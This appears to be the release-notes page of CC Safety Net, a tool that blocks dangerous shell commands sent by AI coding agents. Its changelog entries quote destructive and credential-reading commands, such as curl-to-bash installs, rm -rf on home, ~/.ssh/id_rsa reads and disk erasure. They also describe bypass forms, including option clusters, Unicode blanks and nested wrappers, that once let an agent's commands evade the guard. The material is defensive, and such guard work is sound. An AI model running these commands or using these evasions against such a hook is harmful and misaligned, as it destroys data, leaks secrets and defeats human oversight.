出典:GitHub リリース
リリース
これまでにフックへ加えた、ブロック対象パターンの変更、パーサーの強化、CLI 連携をすべて掲載しています。
最新 リリース
GitHub リリース$ gh release view v2.6.18
tag: v2.6.18
published: Oct 23, 2026
channel: stable
v2.6.18
- 修正
What's Changed
- fix(secret): treat python comments as comments when reading literal roles by @kenryu42 in https://github.com/kenryu42/cc-safety-net/pull/287
- fix(secret): exempt env templates named by suffix by @kenryu42 in https://github.com/kenryu42/cc-safety-net/pull/288
Full Changelog: https://github.com/kenryu42/cc-safety-net/compare/v2.6.17...v2.6.18
分類インデックス
分類 から変更 を探す
安全に関わる動作、移行、連携、修正、ドキュメントに変更があったリリースへ直接移動できます。
セキュリティ
該当する最新のリリース
2026年10月22日
2026年10月15日
2026年10月14日
2026年10月10日
2026年10月9日
全 25 件のうち最新の 5 件を表示しています。時系列の全一覧は下にあります。
破壊的変更
該当する最新のリリース
2026年10月17日
2026年10月14日
2026年10月12日
2026年10月9日
2026年10月8日
全 24 件のうち最新の 5 件を表示しています。時系列の全一覧は下にあります。
移行
該当する最新のリリース
2026年10月19日
2026年10月15日
2026年10月14日
2026年10月8日
2026年10月5日
全 16 件のうち最新の 5 件を表示しています。時系列の全一覧は下にあります。
連携
該当する最新のリリース
2026年10月22日
2026年10月15日
2026年10月14日
2026年10月12日
2026年10月9日
全 49 件のうち最新の 5 件を表示しています。時系列の全一覧は下にあります。
修正
該当する最新のリリース
2026年10月23日
2026年10月22日
2026年10月19日
2026年10月18日
2026年10月17日
全 69 件のうち最新の 5 件を表示しています。時系列の全一覧は下にあります。
ドキュメント
該当する最新のリリース
2026年10月12日
2026年10月9日
2026年10月1日
2026年10月1日
2026年9月29日
全 9 件のうち最新の 5 件を表示しています。時系列の全一覧は下にあります。

過去 のリリース
v2.6.17
v2.6.17
- セキュリティ
- 連携
- 修正
This release closes a gap that let remote install one-liners such as
bash -c "$(curl -fsSL …)"through unchecked, and replaces the misleading failure message that malformed tool calls used to produce.Highlights
- Blocked remote install one-liners of the form
bash -c "$(curl -fsSL https://…)"in every mode, matching the existing treatment ofcurl … | bashandeval "$(curl …)". (#276) - Replaced the
analysis.failed-closeddenial for malformed tool calls with a dedicatedtool-call.malformeddenial that tells the agent to resend the call instead of reporting CC Safety Net as broken. (#279)
Added
- Added an install and update notice for DeepSeek Harness that names the other plugins found in each profile and prints the command to declare their shell tools,
npx -y cc-safety-net rule tool add <tool-name>, so commands those tools run are checked. The notice is printed in English and Chinese, and is omitted for profiles that hold onlycc-safety-net. (#281)
Changed
- Changed the denial for a tool call the model sent malformed — a missing or blank tool name, non-object arguments, a blank command, or a blank, non-string, or conflicting working-directory argument — to the new
tool-call.malformedrule with theuse_alternativeintent. The call is still blocked and still recorded in the audit log. This covers the hook hosts (Kimi, Gemini, Devin, Hermes, Cursor, Antigravity, Grok) and the plugin hosts (DeepSeek Harness, OpenClaw, Amp, Pi, OpenCode). (#284, #282) - Kept
analysis.failed-closedfor problems that come from the host rather than the model, including a non-object payload, a blank session working directory, a missing workspace root or path, input-size limits, and analysis faults. (#282) - Improved the audit record for a nameless DeepSeek Harness tool call, which now carries the session working directory instead of no working directory. (#282)
Fixed
- Fixed the analyzer treating a remote fetch inside a shell
-cscript's command substitution as an ordinary dynamic first word, which only strict mode caught. A-cscript whose substitution runs a remote fetcher such ascurl,wget,xh, orncis now a dynamic shell source in every mode, including throughsudo,env, and-lcwrappers. Everyday substitutions such asbash -c "cd $(git rev-parse --show-toplevel) && bun test"andbash -c "$(cat x.sh)"are unaffected. (#276)
2026年10月22日
GitHub リリースv2.6.16
v2.6.16
- 移行
The policy GUI (
cc-safety-net gui) now speaks Japanese and Simplified Chinese in addition to English, and it remembers your language and theme on disk instead of per-browser.Highlights
- Added Japanese (日本語) and Simplified Chinese (简体中文) translations of the policy GUI, selectable from a new language picker in the sidebar (#274)
Added
- Added automatic language detection on first visit: the GUI picks English, Japanese, or Simplified Chinese from your browser's language preferences, and your explicit choice from the picker overrides it afterwards.
- Added locale-aware formatting in the GUI, so counts, dates, clock times, and relative times such as "2 hours ago" follow the active language.
Changed
- Changed where the GUI stores your language and theme choice: both are now saved server-side in
~/.cc-safety-net/gui.jsoninstead of browserlocalStorage, so the same preferences apply in every browser you open the GUI from, and the chosen theme is applied before the page paints. - Migration: A theme previously saved in
localStorageis not carried over. Pick your theme once more under Settings if the GUI opens in the automatic theme. - Changed the page's language attribute to follow the active locale, which improves screen-reader pronunciation.
2026年10月19日
GitHub リリースv2.6.15
v2.6.15
- 修正
This release closes an
rsync --deletegap where an unscoped destination, including one that came from empty variables, was allowed at every protection level.Added
- Added an
rsync.deleterule that blocksrsyncdelete modes (--delete,--del, and abbreviations such as--delete-af) when the destination is outside the current directory, outside a trusted temp root, or supplied through a variable. Mirroring inside the workspace or between trusted temp paths stays allowed, except under paranoidrm, which blocks it too. (#271) - Added catastrophic handling for
rsyncdelete destinations: root,~, and$HOMEare denied asrm.recursive-force-root-or-home, and a.gitdestination is denied asrm.git-metadata. Neither denial can be turned off by policy.
Changed
- Changed
rsyncinto a built-in analyzed command, so wrappers such astimeoutandnicehand off to the new analysis, andrsynccan no longer be listed intransparent_wrappers. - Changed destination detection to fail closed: every operand after the source is checked as a possible destination, options placed after the operands or after
--are still read, and-n/--dry-runis evaluated like a real run. Remote destinations such asuser@host:/pathare skipped. Setrsync.deletetooffif a multi-source command is too strictly blocked.
Fixed
- Fixed
find {,} -deletebeing allowed: an empty brace expansion no longer counts as a scoped delete target.
2026年10月19日
GitHub リリースv2.6.14
v2.6.14
- 修正
The command analyzer now resolves more shell-script and
sourcepaths before deciding, so fewer safe scripts are blocked as unverifiable and heredoc-written scripts are still inspected when they are run through those paths.Changed
- Improved heredoc script coverage: a script written by a heredoc and then executed directly by its path (
$DIR/run.sh) is now checked against its recorded body instead of running unexamined. A body with a non-shell shebang such as#!/usr/bin/env python3, a body that cannot be parsed, or a body that exceeds analysis limits is allowed rather than blocked. (#270) - Changed heredoc tracking so an intervening command that only assigns shell variables no longer discards it, which means a script written to
$HOME/cleanup.shand then run asZ=$HOME; bash $Z/cleanup.shis still inspected. (#270)
Fixed
- Fixed
sourceand.operands whose path comes from a literal assignment being blocked as an unverifiable shell execution source, soS=/tmp/work; source $S/env.shis allowed in standard mode. (#270) - Fixed script and
sourcepaths that start with an unquoted~/,$HOME, or$PWDnot resolving, so commands such asK=$PWD/kit; bash $K/run.shandbash ~/bin/setup.share no longer blocked as unverifiable.$PWDstays unresolved when a wrapper changes the working directory. (#270) - Fixed paths built from the macOS per-user temp directory not resolving: an assignment whose value is exactly
$(getconf DARWIN_USER_TEMP_DIR)is now expanded by reading that value once from/usr/bin/getconfon macOS, so scripts under that directory are analyzed instead of blocked. (#270)
2026年10月18日
GitHub リリースv2.6.13
v2.6.13
- 破壊的変更
- 修正
This release closes several ways a dangerous command could reach the shell unchecked: commands sent by Amp bypassing the secret, policy and Git-metadata guards, shell options that look like a syntax check but still execute, ambiguous
-coption clusters, and Git discard relaxations in repositories that can redirect Git elsewhere. Commands containing a carriage return or an unquoted Unicode blank are now refused as unparseable.Highlights
- Fixed a bypass in Amp, whose Bash tool sends the command outside
input.command:cat .env,cat ~/.ssh/id_rsa, a redirect into the user policy file and a write under.git/hookswere allowed at every safety level. The secret, policy-config, policy-apply and Git-metadata guards now read the command that will actually run. (#264) - Improved the shell syntax-check exemption, which allowed invocations that still execute their
-cbody, such aszsh -n -o exec -c '<cmd>',bash -nc +n '<cmd>'andksh -n --exec -c '<cmd>'. The exemption now holds only when every option word is-nor-c; anything else is analyzed normally. (#267)
Changed
- Changed
autoshell mode to evaluate both readings of a command that it guesses is PowerShell: the command is denied when either the PowerShell or the POSIX reading denies. (#265) - Changed
cc-safety-net explainto report the trace of the shell reading that produced the decision instead of mixing both readings. (#265) - Changed Git discard relaxations for disposable temporary repositories and linked worktrees to be withheld when the repository can send Git elsewhere — a
core.worktreesetting in the command, the shared config orconfig.worktree, a symlink or FIFO inside the Git directory, or aHEADin an ancestor directory. Force-clean and discard commands in such a repository are blocked at standard and strict safety. (#269) - Changed command parsing to refuse a carriage return, vertical tab or form feed anywhere in a POSIX-parsed command, at every safety level. Heredoc bodies with CRLF line endings that were previously allowed are now blocked. (#268)
Fixed
- Fixed shell argv whose
-ccluster hides the real command string being allowed —bash -c -x '<cmd>',sh -c - '<cmd>',dash -oc pipefail '<cmd>',ksh -oc '<cmd>',zsh -ocorrect -c '<cmd>'and any argv containing a+option word. These are now refused because the command string cannot be identified, including throughxargs,parallel,find -execand heredocs. Real syntax checks such asbash -n script.shandbash -n -c '<cmd>', andbash -o pipefail -c 'echo ok', stay allowed. (#267) - Fixed unquoted Unicode blanks being treated as word separators when bash and zsh keep them inside a word, so a command such as
rm<NBSP>-rf /tmp/xwas analyzed differently from how the shell runs it. Non-breaking space, U+3000, U+2000–U+200A, U+202F, U+205F, the byte order mark and others are now refused; a blank inside quotes or a heredoc body is still allowed, so quoted non-ASCII text such as a commit message is unaffected. (#268)
2026年10月17日
GitHub リリースv2.6.12
v2.6.12
- セキュリティ
- 移行
- 連携
- 修正
A maintenance release that fixes how malformed commands are refused, keeps the Factory Droid uninstall from leaving the hook active, and closes a Windows workdir gap in the Hermes Agent integration.
Changed
- Improved shell-command analysis performance for deeply nested and very long commands by no longer copying and freezing the parse tree on every analysis. (#261)
Fixed
- Fixed
ccsn explainprinting a raw internal error for a command the shell parser cannot parse, such asecho ${. It now prints the unparseable-command reason on stderr and exits 1, or{"error": ...}with--json. (#262) - Fixed hook denials and audit entries for an unparseable command reporting the generic "failed unexpectedly" internal failure. They now report the rule
analysis.strict-unparseable, andccsn logs <id>shows the error codeunparseable-command. Such commands are still denied at every safety level. (#262) - Fixed
uninstall --droiddeleting~/.factory/hooks.jsonwhile the legacy~/.factory/hooks/hooks.jsonstill contained the managed handler, which reported a successful uninstall while Factory Droid kept running the hook. The strippedhooks.jsonis now kept whenever either fallback file exists. (#259) - Fixed the Hermes Agent integration allowing a
terminalcall whoseworkdirused the Windows namespace form (\\?\C:\...). It is now denied as an unusable requested directory, matching every other integration. (#261)
2026年10月15日
GitHub リリースv2.6.11
v2.6.11
- セキュリティ
- 破壊的変更
- 移行
- 連携
- 修正
This release closes host-integration gaps found by a drift audit: several tool calls that previously reached a shell without analysis are now checked, and
doctorno longer reports a host as protected while that host is skipping the hook.Highlights
- Analyzed tool calls that previously ran unchecked: Devin
execworking directories andwrite_to_processkey input, Antigravity CLImanage_taskinput, Grok Build'srun_terminal_cmd,bash, andShelltools, and OpenCode's forcedopencode_worktree_remove. doctornow reportsdisabledinstead ofconfiguredwhen the host skips the hook: a Grok Builddisabled-hooksentry, an invalid Kimi Code[[hooks]]entry that makes Kimi drop every hook, or a Piextensionsfilter that does not load the extension.
Added
- Added Kimi Code plugin detection:
doctorreadsplugins/installed.jsonand reports the plugin configured, or disabled when it is installed but not enabled.updateskips the plugin and names the in-host step (/plugins, Installed tab) because it cannot run Kimi's own plugin update. (#257)
Changed
- Changed Claude Code to ask instead of deny in the
autopermission mode when standard mode cannot verify a command; the permission prompt still reaches a person there, and Claude Code's classifier cannot approve the call without it. (#254) - Changed Factory Droid denials to print the reason to stderr and exit 2 in addition to the JSON decision, so a co-installed allow or ask hook can no longer drop the block. (#253)
- Changed
install --droidseeding: when~/.factory/hooks.jsondoes not exist yet, it now carries over every event from the legacy~/.factory/hooks/hooks.jsonand onlyPreToolUsefromsettings.json, instead of freezing everysettings.jsonevent. (#253) - Changed Grok Build command-tool coverage, so
rule tool addnow refusesrun_terminal_cmd,bash, andShellas Grok Build built-ins. AbashworkdirorShellworking_directoryoutside the workspace root is denied, and a blank or non-string value fails closed. (#248)
Fixed
- Fixed Devin
execcalls ignoringworkdir, so a command is analyzed against the directory it runs in. (#247) - Fixed Devin
write_to_processanalysis:bytes_inputis analyzed as typed text with<CR>and<LF>ending lines, and a call whose text is combined with line-editing keys, an undocumented key token, or text in bothtext_inputandbytes_inputis denied rather than analyzed as a line the receiving program would not run. (#247) - Fixed Antigravity CLI
manage_taskwithAction: "send_input"reaching a running process without analysis; itsInputis now analyzed as a command. (#247) - Fixed grep-style tool calls skipping path checks on their filter arguments;
glob_pattern,dir_path, andinclude_patternare now checked, closing secret-file reads through Droid, Devin, and Gemini CLI grep filters. (#250) - Fixed Gemini CLI file paths being analyzed only as sent;
file_pathis now also analyzed as the host rewrites it, with NUL bytes removed and a leading@stripped when the literal path does not exist. (#250) - Fixed OpenCode Code Mode
opencode_worktree_removewithforce: truediscarding untracked files without analysis; it is now checked asgit worktree remove --force, matching the verdict for the shell form. (#251) - Fixed the OpenCode v1 shell dialect on Windows: with no configured shell, the adapter now follows
SHELLas the host does, instead of always assuming PowerShell. (#251) - Fixed
install --opencodeandupdatefailing withPlugin is not configuredwhen the OpenCode v2 service was not running. (#251) - Fixed
doctorandupdatemissing a Claude Code plugin install whenCLAUDE_CODE_PLUGIN_CACHE_DIRis set. (#254) - Fixed the Cursor check following
CLAUDE_CONFIG_DIR, which could advise removing Cursor's only working hook; Cursor imports the Claude Code plugin from~/.claudeonly. (#254) - Fixed
install --droidanddoctorfailing on a comment inhooks.jsonorsettings.json; both files are now parsed as JSONC, as Droid parses them. (#253) - Fixed GitHub Copilot CLI
disableAllHookshandling: a hook file that disables hooks for itself is no longer counted as active,disableAllHooksin the usersettings.jsonnow drops only that file's inline hooks instead of every method, and~/.copilot/config.jsonis no longer read for hooks. (#256) - Fixed the Kimi Code plugin install instructions and method prompt omitting the double-hook caution when the detected global hook was reported disabled by an invalid sibling hooks entry. (#257)
- Fixed unreadable host state aborting detection: an unreadable Grok Build
disabled-hooksfile or Kimi Codeplugins/installed.jsonis now reported as an error naming the file instead of stoppingdoctor,install, andupdatediscovery. (#257)
Security
- Documented four host behaviors CC Safety Net cannot correct:
openclaw agent execloads no plugin hook, Kimi Codekimi weband ACP sessions report the server's directory as the sessioncwd, OpenCode v1 on Windows can convert a POSIX-rootedworkdirdifferently than the adapter resolves it, andinstall --deepseek-harnesscovers thewebanddesktopprofiles only. SeeSECURITY.md. - Clarified reporting guidance: a redaction gap for a value the tool call itself supplied, appearing only in that caller's denial message or the local audit log, is an ordinary public bug, while disclosure of a secret the caller did not supply remains private disclosure.
2026年10月14日
GitHub リリースv2.6.10
v2.6.10
- 破壊的変更
- 連携
Command analysis can now be extended to shell tools that no integration knows about, so commands run through a plugin's own shell tool are gated like built-in shell commands instead of passing as an unknown tool.
Added
- Added
command_toolstorule.json: exact tool names whosecommandargument is analyzed like a built-in shell tool. A declaration applies only to a tool the integration routed as unknown and only when the input carries a non-empty stringcommand, it is evaluated at your own safety level, and an allowed call is audited with its command and working directory. User and project lists merge, and the user entry wins a name declared in both. (#243, #242) - Added a per-declaration working-directory argument —
{ "name": "ops_run_background", "cwd": "cwd" }, orworkdir,cwd, orworking_directorywhen unspecified. An omitted argument uses the session workspace; a blank, non-string, conflicting, or nonexistent-directory value is denied. - Added
cc-safety-net rule tool add <name...> [--cwd-arg <name>] [--project],rule tool remove <name...> [--project], andrule tool listto manage declarations without editingrule.jsonby hand.addandremovedefault to the user scope and print the scope and file written;listshows each entry's scope and working-directory argument. (#244) - Added a refusal for declaring a tool that is already analyzed:
rule tool addrejects a name that matches any integration's built-in shell tool — naming those integrations — or a built-in file tool, andrule verifyreports such a name in either scope'srule.json. - Added
command_toolsto the published JSON Schema (assets/cc-safety-net.schema.json) so editors complete and validate the field.
2026年10月12日
GitHub リリースv2.6.9
v2.6.9
- 修正
- ドキュメント
This release removes two false denials in standard mode: a PowerShell
ForEach-ObjectorWhere-Objectpipeline is now parsed as PowerShell, and an inline script literal that the code only prints is treated as inert data.Fixed
- Fixed
autoshell detection so aForEach-ObjectorWhere-Objectpipeline selects the PowerShell parser and its script block is read as PowerShell. A property reference such as$records | ForEach-Object { $_.key }is no longer denied as a*.keysecret file, while a real read inside the block, such asForEach-Object { Get-Content server.key }, is still blocked. (#239) - Fixed standard mode to treat a string literal that inline Python or JavaScript code only prints as inert data, so
python3 -c "print('credentials'); Path('report.md').read_text()"andnode -e 'const path = ".env"; console.log(path); require("fs").readFileSync("README.md")'are allowed. A literal stays a candidate when its name is actually opened, and whenprintorconsoleis rebound, redefined, or used as anything other than a display call. (#240)
2026年10月12日
GitHub リリースv2.6.8
v2.6.8
- 修正
Disk-device destruction is now a protected category at every safety level, so commands that erase, reformat, or repartition a disk are blocked instead of allowed. Read-only disk inspection and disk-image targets stay allowed, and
ddwrites to/dev/null,/dev/zero, and/dev/fullare no longer blocked.Highlights
- Blocked disk erase, repartition, and output redirects onto a disk device at every safety level, closing a gap where only
dd of=/dev/…andmkfs* /dev/…were caught. (#236)
Added
- Added the
disk.eraserule, which blocksdiskutilerase and partition verbs (eraseDisk,eraseVolume,reformat,partitionDisk,zeroDisk,randomDisk,secureErase),wipefs -a/-o,sgdiskwrite options, andparted mklabel/mktable/mkpart/rm/resizepart. (#237) - Read-only inspection and disk-image targets stay allowed, such as
diskutil list,diskutil info disk4,wipefs /dev/sdb,sgdisk -p /dev/sda,parted /dev/sda print,parted -l, andparted disk.img mklabel gpt. - Added the
redirect.block-devicerule, which blocks>,>|,>>,<>, and>&redirects whose literal target is a disk device such as/dev/sda,/dev/nvme0n1, or/dev/disk4, including inside a nestedsh -cbody. Non-disk device paths such as/dev/null,/dev/tty, and/dev/cu.*stay allowed. (#237)
Changed
- Changed the
mkfs.devicerule to also covermke2fs,newfs, andnewfs_*on a/dev/target. - Changed disk-tool dry runs and the RAM-disk idiom to be blocked by the new rules, including
wipefs -n -a,sgdisk --pretendwith a write option, anddiskutil erasevolume HFS+ RAMDisk $(hdiutil attach -nomount ram://…). Setdisk.eraseto"off"underdestructive_command_protection.overridesto allow them.
Fixed
- Fixed
ddbeing blocked when writing to a discard sink:of=/dev/null,of=/dev/zero, andof=/dev/fullare now allowed, so read-speed tests such asdd if=big.bin of=/dev/null bs=1Mrun again. (#237)
2026年10月11日
GitHub リリースv2.6.7
v2.6.7
- セキュリティ
- 修正
Secret-file protection now looks inside scripts handed to
pwshandpowershell, closing a gap where a secret read wrapped inpwsh -cwas allowed at every safety level.Changed
- Changed deeply nested
pwsh -cscripts to stop at the derived-command work limit instead of being walked without bound. (#235) - Documented in
SECURITY.mdthat findings from Anthropic's OSS Scanner are fixed privately, with a public issue opened only after the fix is released.
Fixed
- Fixed secret-file protection ignoring the script passed to
pwshorpowershell, so a read such aspwsh -c 'Get-Content ~/.ssh/config'is now blocked like the same read throughbash -c. Windows-style paths (~\.ssh\config), the-Commandspelling, leading switches such as-NoProfile, and thepwsh.exeform are all covered. (#235) - Fixed a PowerShell script being analyzed under POSIX rules when the same script text had already been parsed as POSIX earlier in the command, such as after an
eval. (#235)
2026年10月10日
GitHub リリースv2.6.6
v2.6.6
- セキュリティ
- 連携
A metadata-only release that corrects how CC Safety Net appears in the Claude Code plugin directory. Command analysis and blocking behavior are unchanged from v2.6.5.
Changed
- Improved the Claude Code plugin listing: the manifest now sets
displayNametoCC Safety Net, so the directory no longer titles itCc Safety Net. The pluginnamestayscc-safety-net, so installs and command namespacing are unaffected. - Changed the Claude Code plugin keywords to
security,safety,guardrails,destructive-commands,secret-protection,git,rm-rf,env-files,ssh-keys, andpretooluse, which makes secret-file protection discoverable in the directory. Keywords for Codex, Cursor, Kimi Code, and npm are unchanged.
2026年10月9日
GitHub リリースv2.6.5
v2.6.5
- 破壊的変更
- 連携
- 修正
Opening the local policy GUI no longer runs
ghwith your GitHub login;ghnow runs only when you clickStar on GitHub.Added
- Added documentation, support, privacy policy, and terms-of-service links to the Claude Code plugin manifest, so the plugin directory listing shows them instead of reporting them as not set.
Changed
- Changed the policy GUI overview to always show the
Star on GitHubbutton and removed its "One click via your GitHub CLI" note, since the GUI no longer checks whether you have already starred the repository.
Fixed
- Fixed the policy GUI using your GitHub login without a click. On open,
/api/star/contextpreviously rangh auth statusandgh api /user/starred/...to decide whether to show the star prompt; it now returns only the anonymous star count and your local blocked total, andghis invoked only when you clickStar on GitHub.
2026年10月9日
GitHub リリースv2.6.4
v2.6.4
- 連携
- 修正
- ドキュメント
The published plugin tree now ships the project
README.md, so a plugin install includes the documentation with links that resolve outside the repository.Fixed
- Fixed the published plugin tree omitting
README.md. Installs that pull the plugin tree now get the project README, with its relative links and images rewritten to absolute URLs pinned to the release tag so they resolve from the installed copy.
2026年10月9日
GitHub リリースv2.6.3
v2.6.3
- 連携
Kimi Code plugin installs now point at the slim
pluginbranch, and Cursor's native plugin route is visible todoctor,install, anduninstall. The published plugin tree also ships the CC Safety Net logo so plugin listings show an icon.Added
- Added native Cursor plugin detection to
doctor: a manually installed Cursor plugin is now reported, with a note thatcc-safety-net updatecannot update it because Cursor pins marketplace plugins to the commit they were added at, and a warning that every tool call is checked twice when thenpxhook is configured as well. (#233) - Added Cursor marketplace cleanup to
cc-safety-net uninstall --cursor: when the plugin folders exist, it removes thecc-safety-netmarketplace from your Cursor account, deletes the cached plugin files, and tells you to finish the removal in/pluginsifcursor-agentstill lists the plugin. (#233) - Added
assets/logo.svgandassets/logo.pngto the published plugin tree, referenced by its Claude Code, Codex, and Cursor manifests, so plugin listings show the CC Safety Net icon. (#233)
Changed
- Changed the printed Kimi Code instruction to install from
https://github.com/kenryu42/cc-safety-net/tree/plugin, the slim plugin branch, instead of the repository root. (#233) - Improved Cursor detection in the interactive installer: Cursor is now offered when only
cursor-agentis onPATH, not just when thecursorcommand is. (#233) - Changed
cc-safety-net updateto leave Cursor alone when it is covered only by its native plugin, instead of writing thenpxhook on top of it. (#233)
2026年10月9日
GitHub リリースv2.6.2
v2.6.2
- 連携
Cursor is now recognized as protected when the Claude Code plugin carries its hook, and
doctorpoints out the duplicate check when both the plugin and the Cursor hook are active.Added
- Added detection of Cursor protection through the Claude Code plugin: when an enabled user-scope Claude Code plugin install carries a
.cursor-plugin/plugin.jsonwith its hook file,doctorreports Cursor as configured with methodClaude Code plugininstead of absent, noting that this only holds while Cursor imports Claude Code plugins, whichdoctorcannot verify (#231)
Changed
- Changed
doctorto warn when both the Claude Code plugin and the Cursor hook are configured, since every tool call is then checked twice, and to suggestcc-safety-net uninstall --cursorto drop the duplicate hook (#231) - Changed
updateso it no longer writes the Cursor hook into~/.cursor/hooks.jsonfor a Cursor that is covered only through the Claude Code plugin, anduninstallno longer offers that Cursor as an installed target (#231)
2026年10月9日
GitHub リリースv2.6.1
v2.6.1
- 破壊的変更
- 移行
- 連携
- 修正
The analyzer now reads inside Windows
cmd /candpowershell -Commandwrappers, closing a gap where a recursive delete nested in either one was allowed. This release also fixes a hook crash on long interpreter string literals, clears a batch of standard-mode secret-protection false positives, and ships a Cursor plugin.Highlights
- Added analysis of commands nested in Windows shell wrappers. In v2.6.0 forms such as
cmd /c "rmdir /s /q C:\"andpowershell -Command "Remove-Item -Recurse -Force C:\"were allowed; they are now blocked as catastrophic hard stops, in every permission mode. (#226, #227) - Fixed the v2.6.0 hook failing closed with "command analysis failed unexpectedly" on commands containing a very long string literal, such as a
python3 - <<'EOF'script that edits source files. (#224) - Added a Cursor plugin, so CC Safety Net can be installed from Cursor's Customize screen instead of the
npxuser hook. (#230)
Added
- Added the
cmd.recursive-delete-*rule family forrmdir/rd/del/erasewith/sinside acmd /c,cmd /k, or Git Bash//cbody. Targets are judged by the existing recursive-delete rules against the outer working directory, and every other piece of the body is analyzed as a command of the outer shell, so arm -rf /nested in acmdbody is also denied. Deletes that stay inside the current directory remain allowed. (#226) - Added the
powershell.nested-recursive-delete-unreadrule. Apowershell/pwshinvocation in the one shape the analyzer reads — optional-NoProfile,-NonInteractive,-NoLogo, or-ExecutionPolicy, then-Command/-cwith literal script words — is analyzed as PowerShell; any other form that names a delete command and a recursive switch is blocked instead of allowed.-EncodedCommandis refused as an unverifiable shell source. (#227)
Changed
- Reduced standard-mode secret-protection false positives. Words outside string literals in Python and JavaScript code are no longer treated as paths; f-strings and untagged JS templates are masked as literals; and when code holds an access marker, Python and JavaScript literals are judged by position, so a collection element, dict key or value, subscript key, or
in/==/!=operand counts as data rather than a path. (#219, #220) - Relaxed standard mode for names that are created or counted rather than read: a
mkdirortouchoperand,wcwith only count options,grep/rglimited to names, counts, or exit status, aforlist word whose variable reaches no reader,tailscale cert --cert-file/--key-fileoutputs, and the input ofopenssl x509 -in. Each relaxation turns off wherever the name could still reach a reader — a later pipe, a coprocess, a command or process substitution, or an interpreter execution call — and none of them relax home-directory paths, coding-CLI credential paths, or configured deny paths. (#222, #225) - Relaxed a literal that only names the file a write creates (
Path(...).write_text,open(p, 'w'),writeFile/appendFile/Bun.write) like an output redirection, and only where no such file exists. (#225) - Exempted
.env.tplin every mode, alongside.env.example,.env.sample, and.env.template. Home-directory rules now run before the template exemptions, so~/.ssh/.env.tplstays protected. (#222) - Redesigned the local policy GUI (
cc-safety-net gui) for readability: tidier Protections toolbar, disclosures and card headers, visible ends of long paths, fewer repeated labels, and clearer Activity row actions. Activity and Protections filters are now kept in the page address, so Back, reload, and sidebar links behave as expected. (#229) - Simplified the false-positive report: the title is prefilled from the blocked command, and the explanation of what you were doing is now optional in both the GUI form and the GitHub issue template. (#229)
Fixed
- Fixed
rm -rfinside a project being denied asrm.recursive-force-outside-cwdaftercd /d/<project>on Windows with Git Bash. The POSIXcdoperand is now MSYS-normalized before resolving, matching the behavior ofcd D:/<project>. (#223, #228) - Fixed path-variable expansion giving up on an unclosed unsupported
${, which left the rest of the value unexpanded. Later supported variables now expand, and an excessive number of unclosed expansions is refused. (#226) - Fixed
uv run python - <<EOFbodies being walked as shell words instead of analyzed as Python, in every mode. (#225)
Breaking Changes
- A recursive delete handed to
powershellorpwshin any form other than literal-Commandscript words is now denied in every permission mode, including-File, a positional script,-WorkingDirectory, and an outer-expanded word. - Migration: Pass the script as a single
-Commandwith literal paths, after at most-NoProfile,-NonInteractive,-NoLogo, or-ExecutionPolicy. - A
cmd /corcmd /krecursive delete whose quoting can reach cmd as\", or whose target uses a\\?\or\\.\namespace path, is now denied in every permission mode, because cmd does not treat\"as an escape and the target can split down to the drive root. - Migration: Pass each path as its own quoted argument, or use
Remove-Item -LiteralPath. - A
cmdbody containing^,%,!, a directory-change word, or a delete the bounded reader cannot parse is refused as an unverifiable shell source, which asks the user where the host can prompt. - Migration: Write the delete with a literal path and no escape or expansion characters, or run it manually.
2026年10月8日
GitHub リリースv2.6.0
v2.6.0
- 移行
- 連携
- 修正
This release adds Factory Droid and Devin CLI protection, and makes shell analysis see destructive commands that were previously hidden inside
${...}parameter expansions.Highlights
- Added protection for Factory Droid and Devin CLI, including hook installation,
doctorreporting, and built-in rules for their credential and config files. (#197, #198, #200) - Commands hidden inside a
${...}parameter expansion are now analyzed instead of skipped, soecho ${x:-$(rm -rf ~/)}is blocked. (#214) - Fixed false blocks on URL query text, so requests such as
curl 'https://example.com/todos?order=id.asc'are no longer treated as reads of a sensitive.ascfile. (#217)
Added
- Added Factory Droid support with
cc-safety-net install --droid, the-fd/--droidhook flags, and a managedPreToolUseentry in~/.factory/hooks.json. (#198) - Added Devin CLI support with
cc-safety-net install --devin, the-dv/--devinhook flags, and a managedPreToolUseentry in the user config ($XDG_CONFIG_HOME/devin/config.json, or%APPDATA%\devin\config.jsonon Windows). Comments in Devin'sconfig.jsonare accepted. The adapter also analyzes the text sent bywrite_to_process. (#200) - Added built-in secret rules for Factory Droid credentials (
~/.factory/auth.encrypted,auth.v2.file,auth.v2.key,auth.v2.loginkeychain) and config (~/.factory/settings.json,hooks.json,mcp.json, and a project.factory/mcp.json), and for Devin CLI credentials (~/.local/share/devin/credentials.toml,~/.local/share/devin/mcp/oauth) and config (~/.config/devin/config.json). Relocations throughXDG_DATA_HOMEandXDG_CONFIG_HOMEare honored. (#197) - Added sensitive-path checks for the
folderandpatternsinputs of glob tools, so a glob over a credential directory is blocked. (#198)
Changed
- Shell analysis now refuses, at every safety level, constructs whose real meaning cannot be determined:
${ list; }function substitutions (including inside heredoc bodies, across line continuations, and when the parser's depth limit cuts them off), a backslash escape inside backticks, an unclosed${, and a quote, backslash, or line continuation inside${ }next to a substitution. Such a command is reported as unanalyzable and denied rather than allowed. (#211, #214) shell: "posix"in the OpenCode plugin now accepts any shell that runs POSIXshsyntax, such asashormksh, by running a short probe through<shell> -conce per executable instead of matching a list of shell names.cmd.exe, fish, nushell, and tcsh are still rejected, and the probe ends at a 10-second deadline. (#209)- Atomic config writes now keep the replaced file's permission bits instead of resetting them to the default. (#198)
Fixed
- Fixed destructive commands being skipped inside a
${...}parameter-expansion operand, a substitution glued to a variable in double quotes (echo "$x$(rm -rf ~/)"), and a double-quoted arithmetic substitution. (#214, #215) - Fixed strict-mode denials of commands that are in fact analyzable: each nested command substitution now tracks its own quote state, so
echo $(dirname "$(command -v node)")andecho $(printf "x'$(git status)'y")are allowed instead of refused as unparseable. (#215) - Fixed built-in extension rules such as
.pemand.ascmatching URL query text. A word holding a query parameter (?key=or&key=) that names no existing file, and the value after a query's=, are no longer read as paths; a file that really has such a name stays protected. A curl-d,--data,--data-ascii,--data-binary,--data-urlencode,-F, or--formvalue is now checked only as the@fileor<fileupload it names. (#217) - Fixed the user policy being read as a project policy when a command runs from the home directory.
policy checkandpolicy applynow refuse and point to--global,rulewrite subcommands refuse,rule migrateskips the project scope, the policy GUI refuses to use the user policy as a project draft, and policy loading no longer counts the user policy twice. Symlinked home directories are matched as well. (#201, #202, #203, #205) - Fixed
uninstall --droiddeleting~/.factory/hooks.jsonwhile~/.factory/settings.jsonexists, which would have let the hooks insettings.jsonload again, anddoctornow reports a managed Droid hook narrowed bycommandRegex. (#198)
2026年10月5日
GitHub リリースv2.5.2
v2.5.2
- セキュリティ
- 破壊的変更
- 移行
